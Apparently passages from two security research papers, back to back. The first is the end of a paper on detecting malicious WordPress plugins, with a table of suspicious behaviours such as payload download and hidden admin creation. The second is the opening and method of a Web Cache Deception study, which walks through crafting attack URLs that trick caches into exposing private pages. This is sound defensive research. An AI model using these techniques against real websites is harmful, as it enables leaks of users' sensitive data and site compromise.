data back to the attacker. Interestingly, these where all
the earliest cases that appeared in late 2016.

8 Limitations and Future Work

Additional CMS Platforms. YODA can accurately
detect malicious plugins on WordPress-based websites.
However, scaling to other CMSs only requires updating
YODA’s plugin detection and semantic models.
YODA’s modularity enables porting to other platforms
by reviewing the API documentation of the target CMS.
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We leave handling other CMSs as future work.
Static Behavior Detection. Since YODA relies on
static analysis, it carries the limitations of static analysis.
Like any static data flow analysis framework, YODA can
identify obfuscated code but it cannot detect malicious
behaviors within the obfuscated code. This is further
discussed in Appendix C. YODA could be augmented
with dynamic analysis [47], [48] to achieve better coverage
of dynamic PHP code.
Semantic Model Evasion. Since the semantic models
rely on data flows, they cannot be evaded by rearranging
code, inserting junk code, or splitting the attack behavior
across files. That said, attackers can try to evade YODA
in two ways: (1) evolve to entirely new behaviors (e.g.,
the recently introduced SSO Backdoor behavior) or (2)
novel implementations of known attack behaviors (via
new PHP APIs). Such evolution is expected, and in both
cases, new semantic models can be crafted for the new
data source-sink combinations.

9 Related Work
Web Attacks. Past research studied web attacks as
seen from the web browser [8], [49]–[53]. Other studies
used webserver backups [9], [54] and high-interaction
honeypots [55]–[57] to understand web attacks. Several
techniques studied the role of hosting providers [58] and
the response landscape from post-compromise
notification campaigns [59], [60]. While these studies
focused on generic web attacks, YODA analyzed the
spread of malware via CMS plugins.

Our previous work, TARDIS [9] also analyzed nightly
backups to investigate targeted long-lived malware at
an entire-website granularity, but TARDIS is neither
proactive nor fine-grained enough to vet
previously-unseen plugins for malicious behavior.
TARDIS’s detection is coarse-grained as it relies upon
strict temporal sequences of website-level indicators
(e.g., stand-alone backdoor file injection followed by file
deletion). Malicious plugins do not exhibit overt
temporal sequences of such indicators (that TARDIS
relies upon). They are deployed all at once and lie in
wait until the website is loaded (e.g., blackhat SEO),
requiring a plugin-centric detection and analysis.
Web Malware Analysis. Recent web-based malware
analysis research analyzed targeted attack classes like
webshells [33], [34], ad injection [61]–[63], survey
scams [64], [65], cross-site scripting [66]–[69], PHP code
and SQL injection [69]–[74], file inclusion attacks [75],
[76], dictionary attacks [77], etc. Their adoption by
website operators to detect malicious CMS plugins is
limited by significant instrumentation and training
complexities associated with these techniques.
Conversely, YODA is an automated investigation
framework, agnostic to targeted attack classes, and can

be deployed by all stakeholders in the CMS ecosystem.
Measurement Studies. WordPress plugin research
focused on measuring vulnerabilities [78]–[80] and
comparing plugin ratings with vulnerability
exploits [81]. Researchers also assessed the role of web
hosting providers to detect compromised websites [82],
studied malicious web apps [2], malicious browser
extensions [3], [4], and malicious packages in package
registries [5]. Caballero et. al. [83] measured
pay-per-install malware distribution in benign software.
However, unlike YODA, prior work has not studied the
impact of malicious plugins on CMS marketplaces.

10 Conclusion
YODA provides an automated investigation framework
that uncovered 47,337 malicious plugin installs on 24,931
unique websites, 94% of which are still active today. We
have disclosed the results to CodeGuard and they are
working on remediating the identified attacks.
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A WordPress Plugin Header

Figure 4: A Typical WordPress Plugin Header.
A plugin header (shown in Figure 4) is a specially

formatted PHP/CSS block comment that contains
metadata about the plugin, such as its name, author,
version, license, etc. At the very least, the header
comment must contain the Plugin Name. An attacker
could try to evade YODA’s plugin detection by
dropping the plugin header. However, this would work
against the attacker: without a valid plugin header
containing at least the Plugin Name metadata, the
plugin will never get loaded by WordPress core and
hence remain dormant on the webserver.

B WordPress Plugin Architecture

has_filter, add_filter, apply_filters,
apply_filters_ref_array, do_action_ref_array,
remove_filter, remove_all_filters,
doing_filter, has_action, add_action, do_action,
remove_action, remove_all_actions, doing_action,
register_uninstall_hook, current_filter,
register_deactivation_hook, did_action,
register_activation_hook

Figure 5: List of WordPress Plugin APIs.
WordPress plugins are installed in dedicated plugin

directories on the webserver. Figure 5 shows the plugin-
specific API calls commonly used in WordPress plugins
and themes. These are called Hooks that enable one
piece of code to interact/modify another piece of code

at specific, pre-defined spots, thus helping the plugin
interact with the WordPress core.
It is up to the website owner to set the plugin’s user

access permissions [84]. Based on these permissions, the
website owner controls the directories that a plugin can
access for read, write, and execute. Plugins can either
be manually updated or set to auto-update upon which
WordPress downloads and installs any updates from the
plugin store. However, WordPress cannot automatically
update plugins from 3rd-party marketplaces. These need
to be manually updated. Since most plugins have both
read and write permissions in the plugin installation
directory, a malicious plugin can scan for other plugins
to inject malicious code, thus infecting it. Malicious
plugins installed outside the plugin installation directory
can use a CMS account or webshell to first change the
access permissions (such as in SSO Backdoor attacks)
and then infect other plugins.

C Syntactic Analysis

Classes of
Suspicious Sinks Suspicious API description

Exec Execute code
F ile_RW File read/write
Decode Decode functions
Download Download from URLs
Create_F unc Define function from string inputs
SE_Bots References to search engine botnames
Chng_F ile_P erm Changes the file permissions
Chng_User_P erm Changes the user permissions
Create_User Creates a default user account
Register_User Registers a user account to the CMS
Add_P ost Adds a new post
Inseert_P opup Adds code to display a popup
Add_Content Appends content to HTML metadata
Replace_Content Replaces old content with new content
F unc_Exists Check if a function exits
Redirect Redirects to the URL passed as input
Delete_P ayload Deletes the downloaded payload
Redirect_NewUser
_Admin_URL

Redirects to the new user’s admin URL

Table 10: Classes of Suspicious API Sinks.

YODA generates the AST for all of the plugin code
files and parses it to record the sensitive API classes
summarized in Table 10. These APIs will later form the
sinks for semantic dataflow analysis. Table 10 shows the
notations used for the classes of suspicious sinks and
the API class description. For example, the Decode
class denotes decode functions such as
base64_decode, json_decode. The list of these sinks
was identified by studying past research as well as
industry reports of malicious plugins being removed
from popular marketplaces between 2013-2018 [14],
[30]–[32]. YODA may miss identifying sinks that are
based on novel implementations of the attack behaviors
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such as updates to the PHP language. Since this is a
rare event, YODA’s models can be updated easily
when necessary.

Plugins can have inter-file dependencies that invoke
suspicious APIs indirectly. An intuitive solution for
handling inter-file dependencies is to analyze each
plugin code file together with its dependencies, but this
may lead to the repeated analysis of common
dependencies and possible resource exhaustion given
too many dependencies. Therefore, to increase efficiency
and reduce failures YODA eliminates the inter-file
dependencies by recursively replacing the dependencies
with their respective ASTs via modularized API usage
analysis which analyzes each dependency only once.
This also handles the case of cyclic dependencies if any.

The dynamic nature of the PHP language (e.g.,
dynamically evaluating code) can introduce challenges
to accurately detecting the suspicious sinks. If the
malicious plugin generates new code that was not
available during static AST generation, then YODA
cannot access the sinks in the new code. However, we
found that the tactic of function splitting to evade
pattern-based detectors was more prevalent than new
code generation. YODA handles function splitting by
concatenate the individual function pieces defined in
the AST to reconstruct the intended function. Lastly, if
the plugin uses an external input for function creation
(e.g., new code fetched from a URL), YODA cannot
reconstruct the entire function at the AST-level.

YODA then analyzes all of the plugin code files to
collect syntactic measurements, specifically: (1) the
number of files and filetypes in a plugin, (2) the
effective plugin state (described in §3.1), (3) the longest
code-line length (termed Long_Line) and (4) the
presence of UTF-8 encoded characters or obfuscation
patterns [9], [48] such as a combination of ‘0’s and
‘O’s (termed Jumbled_Obfus). These measurements
will be used to detect the code obfuscation behaviors in
semantic analysis (Table 2).

D SEO By Nulled Plugins
Nulled marketplaces existed since 2013, but they gained
popularity around 2018, and their blackhat SEO

campaigns accelerated only in early 2019. A Google
search for any “____ WordPress plugin/theme free
download” almost always has a nulled marketplace in
the top five results. Figure 6 shows the search engine
results for one of the popular WordPress themes,
DooPlay, normally priced at $80 [85]. Here, the
highlighted four of the top five results on Google search
lead us to nulled marketplaces that are known for
distributing malicious plugins and themes. In Nov 2019,
WordFence alerted the community about a rouge
blackhat SEO malware campaign via nulled malicious
plugins and themes [15]. Despite this knowledge, the
attackers have successfully maintained their ranks on
the search engine results.

Figure 6: Google Search Results of a Typical Paid Plugin.
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Abstract
Web Cache Deception (WCD) tricks a web cache into erro-
neously storing sensitive content, thereby making it widely
accessible on the Internet. In a USENIX Security 2020 paper
titled “Cached and Confused: Web Cache Deception in the
Wild ”, researchers presented the first systematic exploration
of the attack over 340 websites. This state-of-the-art approach
for WCD detection injects markers into websites and checks
for leaks into caches. However, this scheme has two funda-
mental limitations: 1) It cannot probe websites that do not
present avenues for marker injection or reflection. 2) Marker
setup is a burdensome process, making large-scale measure-
ments infeasible. More generally, all previous literature on
WCD focuses solely on personal information leaks on web-
sites protected behind authentication gates, leaving important
gaps in our understanding of the full ramifications of WCD.

We expand our knowledge of WCD attacks, their spread,
and implications. We propose a novel WCD detection method-
ology that forgoes testing prerequisites, and utilizes page iden-
ticality checks and cache header heuristics to test any website.
We conduct a comparative experiment on 404 websites, and
show that our scheme identifies over 100 vulnerabilities while
“Cached and Confused” is capped at 18. Equipped with a tech-
nique unhindered by the limitations of the previous work, we
conduct the largest WCD experiment to date on the Alexa
Top 10K, and detect 1188 vulnerable websites. We present
case studies showing that WCD has consequences well be-
yond personal information leaks, and that attacks targeting
non-authenticated pages are highly damaging.

1 Introduction

A web cache refers to any technology that fronts a busy web
infrastructure with the goal of temporarily storing and quickly
serving frequently accessed objects. That translates to reduced
load for servers, and better performance for clients.

The security community is no stranger to attacks targeting
web caches. These often fall under one of two categories;

poisoning caches with an exploit payload to be delivered
to unsuspecting clients, or tricking the cache into storing
confidential information which is then publicly exposed on
the Internet. Attacks date back to the early 2000s, and the
fundamental techniques have not significantly changed over
the years – but the attack surface and damage potential have.

Content Delivery Networks (CDNs), which are globally
distributed Internet overlay networks made up of caching re-
verse proxies, have become a ubiquitous component of many
online systems that have stringent scalability, availability, and
performance requirements. Official deployment figures pub-
lished by three major CDN vendors Akamai, Cloudflare, and
Fastly give us a glimpse of the vast amount of traffic prox-
ied via these web caches [2, 9, 17]. A recent measurement
by Guo et al. shows that 74% of the Alexa Top 1K websites
utilize a CDN for delivery [22]. As of June 2021, BuiltWith
estimates that of the top 10K, 100K, and 1M websites they
observe, 71.79%, 62.70%, 46.59% are behind a CDN, respec-
tively, with upward trends [5]. Combined with many other,
stand-alone caching proxies (e.g., Squid, Varnish [42, 48])
and caching servers (e.g., Apache, NGINX [4, 37]) sprinkled
along the Internet, it is evident that web caches are rapidly
becoming critical infrastructure. That, in turn, considerably
increases the likelihood and impact of a web cache attack.

As this evolution of caching technologies keeps raising the
stakes, a surge of interest in novel exploitation techniques
follow (e.g., [20, 29–31, 36, 38]). Notably, Omer Gil helped
put the spotlight on this threat in 2017 with his work on
Web Cache Deception (WCD), an attack that tricks a publicly
accessible proxy into caching and leaking sensitive content
normally intended to be uncacheable [20, 21].

While Gil described proof-of-concept attacks on specific
high-profile targets, Mirheidari et al. published “Cached and
Confused” (or CC for short), the first work that explored the
causes and consequences of WCD within a scientific frame-
work in 2020 [36]. In particular, the authors proposed a detec-
tion methodology that involves manually creating accounts
on websites to inject unique markers into user-editable fields,
and then testing the websites with WCD exploits, checking
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for the presence of markers in server responses. If the marker
is present, that would indicate erroneous caching of a page
containing user information, or in other words, a successful
attack. The authors employed this methodology to conduct
a large-scale measurement on 340 websites, found 37 to be
impacted, and concluded that WCD is a widespread threat.

While the literature described above is functional and valu-
able as a starting point, we nevertheless observe two funda-
mental issues with the previous work, which limit the security
community’s understanding of WCD.

First, previous work solely investigates attacks on user-
provided personal information protected behind authentica-
tion gates, and therefore, the aforementioned marker injec-
tion methodology is specifically crafted to detect erroneous
caching of pages that contain such information. This approach
falls short of testing pages that do not reflect user input, where
there are no avenues for marker injection. Furthermore, there
is a plethora of security-critical secrets (e.g., CSRF tokens,
CSP nonces, OAuth state parameters) on publicly accessible
pages that do not require authentication, or on websites that
do not support creating user accounts at all. In such cases,
marker injection is not possible or meaningful. Existing ap-
proaches have no way to test those websites, and consequently
no visibility into the WCD vulnerabilities they may contain.

Second, a marker-based approach necessitates a costly pro-
cess for creating and populating user accounts on every tested
website, posing a roadblock to scaling up the experiments.
As Mirheidari et al. also explained in their paper, this over-
head limited their experiments to 295 websites using Google
OAuth and 45 others where accounts had to be manually cre-
ated, and therefore biased their results. In all cases, user inputs
were identified and markers injected manually.

In this paper, we set out to propose a WCD detection
methodology that is not hindered by the attack surface cov-
erage and scalability limitations of the previous work. We
subsequently aim to gain new insights into the severity and
spread of WCD attacks.

We first present a novel methodology for detecting WCD
vulnerabilities (Web Cache Deception Escalates, or DE for
short). Our approach uses content identicality checks and
HTTP response header heuristics in lieu of markers, and can
identify vulnerabilities on any website. Eliminating markers
also means that there is no manual setup phase involved.

We conduct an initial study on a dataset of 404 websites,
and make a three-way comparison between CC and two varia-
tions of DE. Our results show that CC finds only 18 vulnerable
websites, whereas our approach significantly outperforms the
state-of-the-art by detecting over 100.

Equipped with an effective methodology that is not bound
by coverage or scalability limitations, we next perform the
largest-scale WCD experiment to date on the Alexa Top 10K.
We detect 1188 vulnerable websites. We analyze and discuss
the vulnerabilities in detail, presenting concrete evidence that
WCD attacks that do not target personal information and do

not exploit pages behind authentication gates are still highly
damaging. Our findings reaffirm that WCD is a serious threat,
but also show WCD impacts the Internet at a much greater
scale than previously estimated.

To summarize, we make the following contributions:

• We present a novel methodology DE to detect WCD
vulnerabilities. DE addresses the coverage and scalability
limitations of the state-of-the-art approach for detecting
WCD in the wild.

• We conduct a comparative experiment on 404 websites,
evaluating the pros and cons of different WCD detection
methodologies. We show that our approach DE signifi-
cantly outperforms CC.

• We perform the largest-scale measurement experiment to
date for detecting WCD in the wild, testing 10K websites.
We identify 1188 vulnerable websites.

• We discuss case studies on real-life vulnerabilities im-
pacting high-profile websites, presenting evidence for
the first time that WCD attacks pose a serious threat
beyond leaking personal information.

Availability. Our source code is publicly available on the
authors’ websites.

Disclosure. The authors of this work and “Cached and
Confused” overlap. This is the follow-up to our previous
WCD research.

2 Background & Research Goals

We first present an overview of web caches and how they can
be exploited via WCD attacks. As our work extends the prior
art on cache attacks, we also present an early discussion of
related work and differentiate our research goals.

2.1 Web Caches
Even with troves of personal and sensitive data traversing
the Internet, a disproportionately large slice of traffic is made
up of content available for general consumption. These in-
clude static web pages, style sheets, JavaScript, documents,
multimedia, software downloads, and streaming applications,
which cover the whole gamut of possible sizes and access
patterns. Repeated transfers of such objects can quickly get
costly for both servers and clients, and even impact the overar-
ching Internet infrastructure involved in traffic delivery. Web
caches are designed to address this problem.

A web cache conceptually sits between a user issuing a
web request and the destination the requested object originates
from – hence often called the origin server. Web caches act
as man-in-the-middle proxy devices, intercept the traffic, and
temporarily store objects so that subsequent requests for the
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GET /profile/not_a_file.css 

200 OK
Cache-Control: no-store
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Figure 1: WCD in action. A social engineering victim clicks on a malicious URL, which in turn tricks a web cache into storing
sensitive profile information, publicly exposing it on the Internet.

same can be quickly served from the cache. This reduces the
round-trip time for the requester, load for the server, and the
overall traffic volume for the Internet infrastructure.

Web caches are implemented at multiple stages on the
traffic delivery path, starting from the private caches inside
browsers, ending at the application caches deployed together
with the origin server, and any caching proxies that may lie in-
between. Foremost, Content Delivery Networks (CDNs) with
their global networks of caching proxies (i.e., edge servers)
have become pervasive [5, 22].

Web caches are designed for storing static objects that do
not have confidentiality requirements, whereas dynamically
generated content that includes personal or sensitive informa-
tion for each different client must be fetched from the origin
afresh with each request. It is important to point out that one
should not conflate static content with public content. For
instance, public web pages may still contain unique, sensitive
parameters dynamically generated for each visitor.

CDNs offer numerous options for website administrators
to configure the caching behavior according to their needs.
For example, caching decisions can be made based on the
request endpoint, file extension, query string parameters, pres-
ence of a cookie, request headers, response content type, or a
complex combination of many similar parameters [8, 12, 13].
More recently, major CDNs have also started to offer edge
computation capabilities, enabling website operators to make
these decisions programmatically [1, 11, 15].

Finally, the HTTP/1.1 specification defines the Cache-
Control response headers, allowing an origin to indicate to
all the downstream caches how a response body should be
handled [18]. However, note that all major CDN providers
allow for disregarding these cache control headers, and as
Mirheidari et al. showed previously, some indeed have default
configurations that do [36].

2.2 Web Cache Deception
Web Cache Deception (WCD) is an attack that exploits the
request processing discrepancies between a web cache and
an origin server, and subsequently tricks the cache into er-
roneously storing sensitive content. WCD was introduced
by Omer Gil in 2017 [20, 21]. Below, we demonstrate the
attack through a hypothetical case inspired by Gil’s original
proof-of-concept.

Figure 1 represents a typical deployment model where the
origin application server is fronted by a cache. The cache
server is configured to store frequently accessed static objects
as determined by checking their file extensions. The attack
begins when a miscreant crafts a malicious link containing
the URL to a page with sensitive user profile details, but
also appends to it an invalid path component that appears
to be a static file. In this case, “example.com/profile/” is
the legitimate page being targeted, and “not_a_file.css” is
a reference to a non-existent style sheet. The attacker then
distributes this link (i.e., the attack URL containing a WCD
payload) via social engineering channels, and the attack plays
out as follows.

1. The victim clicks on the link and their browser issues the
HTTP request for the resource. The web cache receives
and promptly forwards the request to the origin server.

2. The origin receives the request for the made-up resource
and sees that the referenced style sheet does not exist.
Therefore, it strips away the invalid path component, and
reroutes the request to the “/profile” endpoint instead.
The server indicates that the profile details should not be
cached by setting the appropriate cache control headers
in the response.

3. The web cache receives back the response and consults
its caching rules. Oblivious to the request rewriting tak-
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ing place at the origin, the cache finds a match indicating
that .css extensions are cacheable. While there may be
cache control headers present in the response, the cache
is not configured to honor upstream headers. The web
cache concludes that the response is safe to store. At this
point, the sensitive content is publicly accessible under
the URL “example.com/profile/not_a_file.css”.

This attack is possible due to the complex interactions be-
tween web caches, origins, and their administrators, which
collectively lead to myriad potential HTTP processing dis-
crepancies. For example, the request rerouting in Step 2 is
a common behavior implemented by web frameworks that
follow clean URL principles, as opposed to treating URLs as
filesystem paths [50]. However, this backend logic is invisible
from the caching proxy’s vantage point. Similarly, ignoring
upstream cache control headers is common practice and some-
times the default web cache configuration [36], for instance,
in a large enterprise environment, where centralized manage-
ment of caching rules is preferable to individually configuring
web servers to return the correct headers. All in all, detecting
and mitigating WCD is a non-trivial task, and neither applica-
tion owners nor cache vendors are to individually blame; this
is a complex system interaction problem.

2.3 Cached and Confused
In their USENIX Security 2020 paper titled “Cached and
Confused: Web Cache Deception in the Wild”, Mirheidari et
al. presented the first study exploring WCD within a scientific
framework [36]. In particular, they proposed a methodology
for detecting WCD in the wild and conducted a large-scale
study on 340 websites drawn from the Alexa Top 1K, find-
ing 37 of them vulnerable. The authors also proposed novel
WCD payloads, or path confusion techniques, and surveyed
the top CDN vendors with their default caching configura-
tions, highlighting the factors contributing to the issue. This
WCD detection methodology is highly relevant to our work,
and we use the abbreviation CC to refer to it in the text.

At a high level, CC works as follows.

1. The tester creates an account on the website and popu-
lates user-editable fields that would normally hold per-
sonal or sensitive information with unique markers.

2. A crawler with valid authentication cookies tests the
pages of the website with WCD exploits. This crawler
simulates a logged in victim clicking on URLs contain-
ing WCD payloads.

3. A second crawler, this time without authenticating to the
site, requests the same pages targeted in the previous step.
This crawler simulates an attacker probing for successful
exploits. If the response contains a marker, one of the
exploits in the previous step was successful in tricking a

cache into storing the page, exposing the information to
an unauthenticated request.

One advantage of this approach is its robustness against
false positives; the presence of a marker is strong evidence
that an information leak is taking place. In fact, Mirheidari et
al. cite this property as one of the reasons they chose not to
employ fuzzier detection techniques. On the downside, marker
injection is a manual process. The authors also acknowledge
this limitation, which forces them to cap their experiments
at 340 websites, 295 of which are chosen specifically due to
their support for Google OAuth, easing the account creation
burden through automation support.

A more fundamental limitation of CC is that it is calibrated
for WCD scenarios that involve leakage of personal infor-
mation protected behind authentication gates. That comes
at a cost: CC has no visibility into the caching behavior of
a website when the page under test does not reflect user in-
put (i.e., markers). In fact, some websites may not even have
viable avenues for marker injection. Hence, CC forfeits the
opportunity to detect vulnerabilities on such pages in order
to achieve robust results on pages that do reflect user input.
This is significant, because erroneous caching has implica-
tions beyond personal information leaks. Dynamic pages, be
they publicly accessible or protected behind authentication
gates, may include secrets such as CSRF tokens, CSP nonces,
and OAuth state parameters, with dire consequences if stolen.
Mirheidari et al. do allude to this possibility, but they are not
equipped to explore that direction using CC.

2.4 Our Motivation & Goals
Our research is directly motivated by the limitations of prior
work on WCD, and important gaps those may have left in
the security community’s understanding of WCD’s spread
and impact. We propose a new methodology DE, which chal-
lenges the core design decisions made for the state-of-the-art
approach CC, and in doing so allows us to explore WCD in the
wild at a depth and scale previously not possible. In doing so,
we aim to equip website owners and researchers with better
awareness, techniques, and tools to mitigate vulnerabilities,
but also to estimate how easily miscreants can identify the
same vulnerabilities.

In particular, we tackle the following limitations of CC.

(P1) Coverage Problem. CC cannot test web pages that do
not reflect markers.

(P2) Scalability Problem. CC has the costly prerequisites of
account creation, user input identification, and marker
injection – all performed manually.

By addressing these limitations, our goal is to answer the
below research questions.

(Q1) How does our fuzzier WCD detection methodology DE
perform compared to marker injection?
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(Q2) How does expanding the scope of an Internet-wide mea-
surement to 10K websites change our established under-
standing of WCD?

(Q3) What is the impact of WCD on security beyond per-
sonal information leaks? Is erroneous caching of other
types of sensitive data, and in particular, those found on
public pages not protected behind authentication gates,
practicable? If so, what are the consequences?

2.5 Other Related Work

The works we extensively discussed above remain the only
literature directly investigating WCD. Below we briefly list
other attacks on web caches and CDNs.

Web cache poisoning is a class of attacks that involves
tricking a web cache into storing a malicious payload. This
essentially escalates any reflected web application attack into
a stored one, widely distributed to every client accessing the
cache. For example, James Kettle presented a set of such
attacks on popular caching proxies [29], and more recently
introduced more advanced attacks exploiting the cache key
construction mechanisms used by these technologies [31].
In academic literature, Chen et al. exploited the inconsistent
processing of the host header values in requests to the same
effect [6]. Nguyen et al. proposed a different take on cache poi-
soning, employing erroneous negative caching (i.e., caching
of error responses) as a means to block access to websites,
resulting in a denial-of-service attack [38].

A closely related attack is HTTP request smuggling (HRS).
HRS targets the discrepancies in how proxies and origins
determine HTTP message boundaries, which can be exploited
to poison caches among other nefarious tasks. The first docu-
mented instance of practical HRS dates back to a white paper
by Linhart et al. published in 2005 [35]. HRS has seen a
resurgence in popularity like cache attacks, and researchers
proposed new variations (e.g., [30, 32, 33]). Jabiyev et al. pre-
sented the first systematic exploration of HRS across popular
server and CDN technologies via differential fuzzing [27].

The security community has made available numerous
open-source projects to simplify the detection of cache at-
tacks (e.g., [14,26,39,41]). These tools primarily aim to assist
penetration testers with their manual processes, targeting a
specific, controlled environment. On the defense front, Ama-
zon Web Services released a tool that inspects and categorizes
requests according to their RFC compliance [3]; however, the
effectiveness of this tool is yet to be quantified. All in all,
there is no generally applicable detection or defense tool for
cache attacks at this time.

Besides the caching issues under focus here, researchers
have long studied CDNs in other security contexts, including
insufficient origin validation [22], insecure mapping of clients
to edge servers [24], request forwarding problems that may
facilitate denial-of-service attacks [7, 23, 47], and use as a

censorship evasion vector [19, 25, 51]. Other works investi-
gated methods to reveal the origin addresses fronted by edge
servers, effectively bypassing the protections afforded by a
CDN [28, 49]. These works are orthogonal to our research.

3 Methodology

Our new methodology DE uses a combination of content iden-
ticality checks and header inspection heuristics to overcome
the limitations of CC. While the high-level approach is the
same (i.e., launch a WCD attack, verify its success), DE may
not be as intuitive as injecting and retrieving markers at a
first glance. Therefore we adopt a top-down presentation; we
describe the high-level scheme first, and later dive into details.

Algorithm 1: DE testing an input URL for WCD.
input :URL

1 result1← get(URL);
2 result2← get(URL);
3 if result1 6= result2 then
4 attackURL1 = generateAttackURL(URL);
5 attackURL2 = generateAttackURL(URL);
6 result1← get(attackURL1);
7 result2← get(attackURL2);
8 if result1 6= result2 and result1.cache = MISS then
9 result2← get(attackURL1);

10 if result1 = result2 and result2.cache = HIT then
11 return WCD detected;
12 end
13 end

3.1 Overview
Algorithm 1 presents the complete pseudo-code for our ap-
proach. Given a URL to test for the presence of a WCD vul-
nerability, we perform checks in three steps. If all three checks
pass, we conclude that the URL contains an exploitable WCD
vulnerability. We explain these steps below.

Step 1 – Does the URL return dynamic content? The
premise of WCD is tricking a cache into storing dynamically
generated content, as static pages are unlikely to contain sensi-
tive data. Therefore, as a first step, we request the input URL
two times, each with a fresh client state, and compare the
responses (lines 1-3). If the results are identical, we conclude
that this is a static page, and we abort the test. Otherwise, the
URL contains dynamic content, and we proceed.

Step 2 – When we launch a WCD attack, does the server
still respond with dynamic content? The next step is launch-
ing a WCD attack by modifying the input URL with a WCD
payload to craft an attack URL, and requesting it. The mod-
ification process is similar to the example we presented in
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Figure 1; we append a path component to the URL, which
points to a non-existent style sheet. We randomize the file
name to prevent Internet users from inadvertently accessing
the same URL and getting poisoned cache contents. We use
the .css extension in our payloads following the guidance
from prior WCD literature; while the attack could work with
other static file extensions, style sheets exist on virtually all
websites, making them the optimal candidate for WCD tests.

We then make our WCD attempt by requesting this attack
URL, simulating a victim visiting the link. One consideration
here is to ensure that the server still responds with dynamic
content to the request. That may not always be the case, for
example, if the attack fails and the server responds with a
generic error page. To tackle this problem, we generate two
unique attack URLs with randomized payloads as described
above (lines 4-5), launch two attacks by requesting both (lines
6-7), and compare the results (line 8, the first condition). If
the results are identical, the attack has failed, and we abort the
test. Otherwise, if the results differ, we proceed to the final
step where we verify whether the attack was successful.

The avid reader may wonder why the dynamic content
check in Step 1 is necessary if we perform a similar check
again in Step 2. In a real-life test scenario, a website would
be probed with multiple path confusion techniques, each re-
sulting in a different attack URL and exposing new WCD
vulnerabilities – we use the 5 techniques presented in previ-
ous work, and propose 7 new ones later in our experiments.
In other words, Step 2 would be repeated many times over,
slowing down the tests and putting a heavy traffic load on
websites. The check in Step 1 gives us an early opportunity to
filter out static pages that are not of interest, using only one
request pair – a significant optimization. We need to perform
a second check in Step 2 for each WCD payload to ensure
that the server still responds to the modified URL.

Step 3 – Is the origin response to the attack URL
cacheable? Recall that for WCD to succeed, the origin server
must serve a dynamic response that erroneously gets cached.
Further breaking that down, on a vulnerable site, the attack
URL we requested in Step 2 (i.e., simulating a victim interac-
tion) must elicit a response from the origin server, but further
requests for the same attack URL must be served from the
cache (i.e., simulating how an attacker would retrieve the
sensitive content).

In this final step, we precisely perform this check by in-
specting the HTTP response returned when we first visited
the attack URL (line 6), and the response for a repeat request
for the same URL (line 9)1. Specifically, we perform two sets
of checks. First, we utilize HTTP response header heuristics
to verify that the initial request was a cache miss (i.e., it was
served by the origin), but the latter request was a cache hit
(lines 8 and 10, both second conditions). Next, we compare
the response bodies to verify that they are indeed identical

1We could have used either of the two attack URLs we generated in Step
2 to verify the attack’s success. We chose to use the first one.

(line 10, the first condition), which provides added assurance
for the correctness of our header heuristics. If both checks
pass, we conclude that the attack was successful, and that the
URL has an exploitable WCD vulnerability.

3.2 Cache Header Heuristics
DE inspects HTTP response headers to heuristically deter-
mine whether a request is served from the origin server or a
web cache in Step 3 above.

Web caches often transform responses by including a
header that indicates to the client the result of the cache
lookup. However, this mechanism is not standardized, and
cache technologies implement their own proprietary headers
(e.g., [10, 16, 40]). Therefore, we performed an exploratory
crawl of the Internet prior to this work, supplemented that
with vendor documentation, and compiled a list of header
fields and values returned by popular web caches. We present
these results in Table 1.

Note that the headers and their values show strong sim-
ilarities between different caches. Namely, all headers we
identified contain the term cache, and most values either hit
or miss. Therefore, instead of doing strict equality checks, DE
normalizes the received headers and then performs keyword
searches in them. In our exploratory study, we determined this
method to work as well as enforcing strict checks, with two
added advantages. First, this approach makes our detection
more robust against minor format or structure differences in
headers often observed in the wild, for example, due to man-
in-the-middle devices that incorrectly transform requests, or
version differences between caches. Second, it opens up the
possibility for DE to work correctly with sparsely used or pri-
vate cache technologies that may be observed in large-scale
experiments, provided that they follow the same conventions
with their headers.

3.3 Interpreting the Results
DE addresses both limitations of CC. We do not rely on the
presence of a marker or any other particular reflected input on
the page, and therefore DE can test any website for WCD (i.e.,
we resolve the coverage problem (P1)). Similarly, because
there is no initial setup necessary, DE can run large-scale
experiments on the Internet or complex private enterprise
deployments (i.e., we resolve the scalability problem (P2)).

We achieve these properties by utilizing fuzzier detection
techniques and heuristics. Heuristics can and do fail, present-
ing interesting trade-offs between DE and CC. Before we
experimentally investigate these, we explain what our scheme
is designed to detect, and the ways it can fail.

True Positives. DE is designed to detect dynamic content
that is not cacheable when requested through its normal URL,
but is erroneously cached when requested with a maliciously
crafted URL – the very definition of WCD. This definition
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Table 1: Cache lookup status headers used by popular web caches.

CDN / Cache Header Name(s) Hit value(s) Miss value(s)

Akamai server-timing, X-Cache, X-Cache-Remote desc=HIT, TCP_HIT desc=MISS, TCP_MISS
CDN77 X-Cache HIT MISS
Cloudflare cf-cache-status HIT MISS
CloudFront x-cache Hit from cloudfront Miss from cloudfront
Fastly X-Cache HIT MISS
Google Cloud cdn_cache_status hit miss
KeyCDN X-Cache HIT MISS
Azure X-cache TCP_HIT, TCP_REMOTE_HIT TCP_MISS

Apache, ATS X-Cache HIT MISS
NGINX X-Proxy-Cache HIT MISS
Rack Cache X-Rack-Cache hit miss
Squid X-Cache HIT from * MISS from *
Varnish X-Cache HIT MISS
Unknown x-cache-info cached caching

does not make any assumptions about the impact of the attack;
the erroneously cached content may or may not be valuable
for an attacker. As long as caching happens contrary to the
informed instructions of the website owner, an exploitable
WCD vulnerability exists.

For example, some pages with non-sensitive content may
include dynamic parts containing dates, server response time
metrics, or email obfuscation strings. If these pages are nor-
mally not cacheable, but with a WCD attack they are cached,
this is a true positive for our purposes, regardless of the value
of the leaked content. The server & cache combination inter-
acts in a hazardous manner, and a future update to the page
with sensitive information would have a security impact.

False Positives. Our definition of false positives directly
follows from the above. Any finding that does not involve ac-
cidental caching of non-cacheable content is a false positive.

While this definition remains a constant, the particular rea-
sons for false positive findings are closely tied to the WCD
detection mechanism used. In CC, false positives are due to
markers that a web application intentionally reflects in its
responses. Even when there is no successful WCD attack
taking place, the marker presence incorrectly signals to the
crawler that sensitive information has leaked. Identifying such
false positives requires a manual analysis of every finding and
assessing whether the markers are returned due to WCD.

DE probes a page with a WCD payload, and checks whether
the page is dynamic and whether it is cached. If both are true,
it flags this as a finding. However, this detection mechanism
cannot distinguish between explicitly and erroneously cached
dynamic content.

Dynamic pages may still be explicitly configured to be
cacheable by the website owner. In other words, the page
would be cached even when requested normally, without a
WCD attack. This may be due to aggressive server perfor-
mance optimizations; for example, some non-sensitive dy-
namic objects could be allowed to be served from a cache,
perhaps with a short TTL, even if they go stale. Alternatively,

there could be human error; the website owner may have acci-
dentally configured a dynamic page for caching – even though
